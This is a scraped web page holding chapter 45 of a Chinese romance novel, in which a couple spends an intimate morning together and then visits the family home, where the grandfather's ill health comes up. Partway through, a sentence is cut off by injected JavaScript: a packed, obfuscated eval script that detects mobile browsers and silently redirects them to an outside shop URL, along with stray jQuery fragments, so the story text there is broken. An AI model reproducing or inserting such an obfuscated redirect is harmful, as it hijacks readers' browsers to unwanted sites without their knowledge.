文趣网 > 都市小说 > 一寸春光 > 45. 第四十五章
    秦曦微迷迷糊糊地翻了个身,伸手摸到一个热乎乎的东西,下意识靠了过去。

    好暖和呀!

    她整个人都窝进去,身体被人抱住,她舒服地哼唧了两声,伸手伸腿熊抱住那庞然大物,生怕他跑了。

    晋枭低头看了眼她的睡姿,哑然失笑。

    她这是把他当玩偶娃娃了吗?

    他轻轻抬起她的脑袋,把一只胳膊从她颈下穿过去,将人往胸口带了带,秦曦微的脸埋在他怀里,小嘴微张,发出轻微的鼾声。

    看来真把她累着了。

    晋枭小心翼翼捏了捏她的小鼻子,她又哼哼一声,吧唧吧唧嘴,嘟哝着:“水……”

    “什么?”晋枭没听清,凑近了低声问。

    “渴……”秦曦微又咕哝了一句。

    晋枭看了眼她盘龙似地盘在自己身上的手脚,只能轻柔地把她的胳膊和腿挪开,再小心地把她的头放到枕头上,这才轻手轻脚下床倒了杯水进来,想要抱她起来喂水,她却嫌不舒服转个身就从他怀里翻下去,寻了个舒服的姿势继续睡了过去。

    他揉了揉眉心,没想到睡着的人这么难搞,难道要叫醒她再喂她水?

    正在他犹豫之际,秦曦微又含混地咕哝了句:“渴......”

    晋枭看看水杯,又看看她,只好自己先喝一口,再吻渡给她。

    一口喂完,他出了一头的汗。

    秦曦微舔舔嘴唇,犹不满足:“还要……”

    晋枭又渡了几口水给她,她总算满意了,咕哝着:“枭哥,抱抱……”

    晋枭只好重新把她揽进怀里,有一下没一下的拍着她的后背,秦曦微搂着他的腰,沉沉睡了过去。

    这一晚睡得极好,秦曦微好像抱着个小火炉,在这寒冷的冬夜,熨贴极了。

    再睁开眼,天已经大亮,身旁早已没人。

    她躺在床上把昨天发生的事从头到尾回想了一遍,确定她从一开始就跳进了某人挖好的坑里,就说他怎么好端端的要带她买衣服,敢情是给他自己谋福利呢?

    至于他够不够格做床伴......

    秦曦微回味一番,在心里给他打了九十分,学习能力百分,明明上一次他还很生涩,只会用蛮力,昨晚居然......

    想到自己哭着求饶,她先骂了句“没出息”,又骂了句“禽兽”。

    他们两个这算是达成默契了吗?

    她把被子捞到怀里抱着,嗅着上面的味道,又有点意动。

    是因为太过契合,所以她的身体主动开放了权限,连他的味道都放进来了吗?

    她把脸埋进被子里,闭上眼睛闻了一会儿,又狠狠抱着被子揉搓一番,才恋恋不舍地爬起来,摸出手机看了一眼,快十点了。

    快十点了!

    秦曦微嗖地从床上蹦起来,跳下地鞋都来不及穿就跑了出去,正好和听到动静进来的晋枭撞到一起。

    晋枭顺势抱住她,问:“怎么了?”

    “我要迟到了……”

    “我已经帮你请过假了。”

    秦曦微气喘吁吁地望着他:“什么时候?怎么请的?”

    “上班之前,我说你生病了。”晋枭淡定的表情好像她真的生病了。

    这人撒起谎来都不愧疚的么?

    “你怎么能……”

    “不然呢,你起得来吗?”

    晋枭打断她的话,挑眉看着她。

    秦曦微语塞,反应过来后气愤地瞪着他:“都怪你!”

    晋枭认错态度向来好,嘴上说着“我的错”,手上也没闲着,轻轻一拎让她赤脚站在自己的脚上,蜻蜓点水般在她唇上轻啄,一下一下,温柔缱绻。

    “昨天晚上......我表现得好不好?”他在她颈侧低低耳语。

    秦曦微的呼吸骤然乱了,推着他的胳膊想挣开几分,却被他顺势握住手腕,轻轻带向身后。她仰着脸,见他缓缓低头,目光在她眉眼间流连片刻,又落向别处,似在确认什么。

    秦曦微只觉得一股热意漫上耳根,膝弯发软,被他及时揽住腰身,稳稳拢进怀里。

    “说,我表现的好吗?”他的嗓音低下来,尾单染着几分慵懒的认真。

    “还......还行......及格了......”秦曦微偏开视线,声音不自觉轻颤。

    晋枭闻言,指尖停在她微红的脸颊旁,垂眸看她,眼底笑意深了几分:“我头一回拿这么低的分数,看来,得再加把劲才行。”

    他弯腰将人抱起踢开了卧室的门,又用脚关上,将秦曦微扔到床上俯视着她,骨节分明的手指把玩着她的耳垂,再次开口:“再问你一次,多少分?”

    “七、七十。”他的神情太过危险,秦曦微下意识吞了口口水,回答地结结巴巴。

    晋枭俯身吻上了她的眼睛,鼻子,一点一点往下,一遍又一遍。

    秦曦微如飘在云端,忽忽悠悠上去又下来

    “多少分?”他又问。

    “八十。”她咬牙。

    又过了很久,晋枭再问:“多少分?”

    秦曦微呜呜咽咽泣不成声:“......九......十。”

    门口的卷卷两只爪子扒在门上,听着里面传来断断续续、呜呜咽咽的声音。它的小主人貌似很难受,它焦躁地喵呜几声,尾巴都竖了起来。

    “这回呢......”

    “九十九......”

    秦曦微有气无力地趴在床上,气若游丝。

    “那一分差哪儿了?”晋枭将她翻过来搂进怀里,抚着她汗津津的后背。

    秦曦微被他颠来倒去折腾一番,眼皮都快睁不开了,她努力掀开一条缝,看到,晋枭的头发被汗打湿,一绺绺垂在额前,居然该死的性感。

    她忽然就理解了晋繁的那句话:就连滴下来的汗珠都是性感的。

    “年纪大。”

    晋枭怎么也没想到她会嫌他年纪大,徐懂比他还大两三岁呢,她怎么不嫌徐懂年纪大?

    他明明还不到二十八岁!

    他狠狠在她脖子上咬了一口,留下一个清晰的牙印,这才满意了。

    再度醒来,已经是两个小时后。

    秦曦微是被饿醒的。

    晋枭半靠着坐在她身边,手里拿着平板正在看看股票,听到动静,放下平板看着她:“醒了?”

    他神采奕奕的样子真不像是奋战了一天一宿。

    “你是不是练了那采什么补什么大法?”她一开口,发现嗓子哑了,气地踢了他的腿一下。

    “你就是我的回春丹。”

    头一回被人嫌弃年纪大,晋枭对这件事耿耿于怀。

    秦曦微趴在他怀里闷笑,腰侧的嫩肉被他掐了一把。

    “哎呀——”她娇笑着满床打滚。

    “别叫——”晋枭把她箍在怀里,狠狠亲了一口。

    秦曦微捂住他的嘴往外推:“我饱了!真的饱了!”

    “我帮你消化消化......”

    晋枭说着手又开始不老实,秦曦微抓着领口往后挪,可怜兮兮:“哥,哥哥,亲爱的哥哥,我饿了,真的饿了。”

    “我的错,我还是不够努力,居然没有喂饱你。”

    秦曦微连连求饶:“哥,肚子真饿了。”

    晋枭抓着她的脚踝拖过来,一寸寸向上,秦曦微忙摁住他的手,大声哀求:“我错

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677540|207547||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了——”

    晋枭停住,问她:“错哪儿了?”

    “一百分,你值得!”秦曦微双手捧着他的脸,“看,多迷人的丹眼皮......”

    晋枭的双眼微眯,声音从齿缝里传出:“用点儿心。”

    “在苍茫的旷野中,一群狐狸成群结队从远处跑来,其中一只浑身金色皮毛的狐狸脚步轻盈地站在众狐狸之首,漂亮的狐狸眼勾魂摄魄,年轻的狐王......”

    秦曦微正编得起劲,额头被他敲了一记,晋枭惩罚似地在她唇上咬了一口:“狐狸不是群居动物。”

    秦曦微撇了撇嘴,双手捂着胃,委委屈屈地睨着他:“饿——”

    晋枭无奈地叹了口气,温柔地把她抱起来:“走,去洗漱,我们吃饭。”

    依旧是那家私房菜,那里已经成了他们的专属厨房。

    “早上爸爸来电话,让我们晚上回老宅吃饭。”晋枭盛了碗鸡汤放到她面前,“你要是觉得累,我们就不去。”

    秦曦微舀了一勺汤送进嘴里,胃立刻就熨贴了。

    “我好久没见爷爷了,还挺想他老人家的,繁子晚上也回去吗?”她问。

    “嗯,爷爷的体检结果出来了,不太好。”晋枭想了许久,还是决定告诉她实情。

    秦曦微猛地抬头:“什么时候的事?怎么才告诉我?”

    “你一直忙着打官司的事,爷爷怕你分心。”

    “什么事也没爷爷的身体重要,繁子知道吗?”

    晋枭“嗯”了一声。

    “独独瞒着我一个人,”秦曦微觉得自己真不孝顺,只顾着给父母报仇,竟然忽略了其他家人。

    她出庭那日,爷爷还亲自去现场帮她压镇,那怎么就那么粗心,没看出爷爷的脸色不好。

    晋枭的手覆住了她的,温热的气息源源不断涌来。

    “卷宝,我们都很爱你。”

    秦曦微眼眶微热,吸了吸鼻子:“我也爱你们。”

    晋家老宅。

    曾经精神矍铄的老人家如今面色苍白,两颊深深凹陷下去,所幸胃口还算不错,吃了满满一大碗饭。

    “年纪大了,不像年轻的时候能吃了,”晋老爷子忆起当年,笑着跟秦曦微说,“我像你这么大的时候,一顿能吃六十个饺子。”

    “那时候项老头也能吃,但他就是个饭桶,除了比我吃得多,什么都比不过我。”

    “项氏集团的项老爷子吗?”秦曦微挨着晋老爷子,好奇地问。她最喜欢听爷爷讲过去那些事了。

    “哼,就是他,娶的老婆不行,教的孩子也不行。”

    晋老爷子和项老爷子年轻时曾经是并肩作战的好兄弟,后来,项老爷子娶妻生子后两人渐行渐远,不知发生了什么事,如今竟然成了仇人。

    “当年他还让他的孙女嫁给我孙子,做梦!项家的人绝对别想进我晋家的门。”晋老爷子想到这些事,激动得脸上都有了血色。

    “爷爷,有我在,谁都别想惦记枭哥。”秦曦微拍着胸脯保证,“我一定会保护好他的。”

    晋老爷子瞟了晋枭一眼,那小子正美滋滋地给她剥核桃,嘴都要咧到耳朵后面去了。

    总算是开窍了。

    “不过,听说他们在找项达生在外面的私生子。”姜月华常年混迹贵妇人圈子,消息最是灵通。

    “项老头这是把希望全都寄托在流落在外的私生子身上了。”晋老爷子冷哼一声,“孙子辈是别想赢得过我了,曾孙嘛......”他的眼睛在秦曦微的肚子上扫了一眼,“生得早也没用,得看是谁的种。”

    晋枭的手一滑,一个圆溜溜的核桃掉到了地上,他的眼睛也落在了秦曦微的肚子上。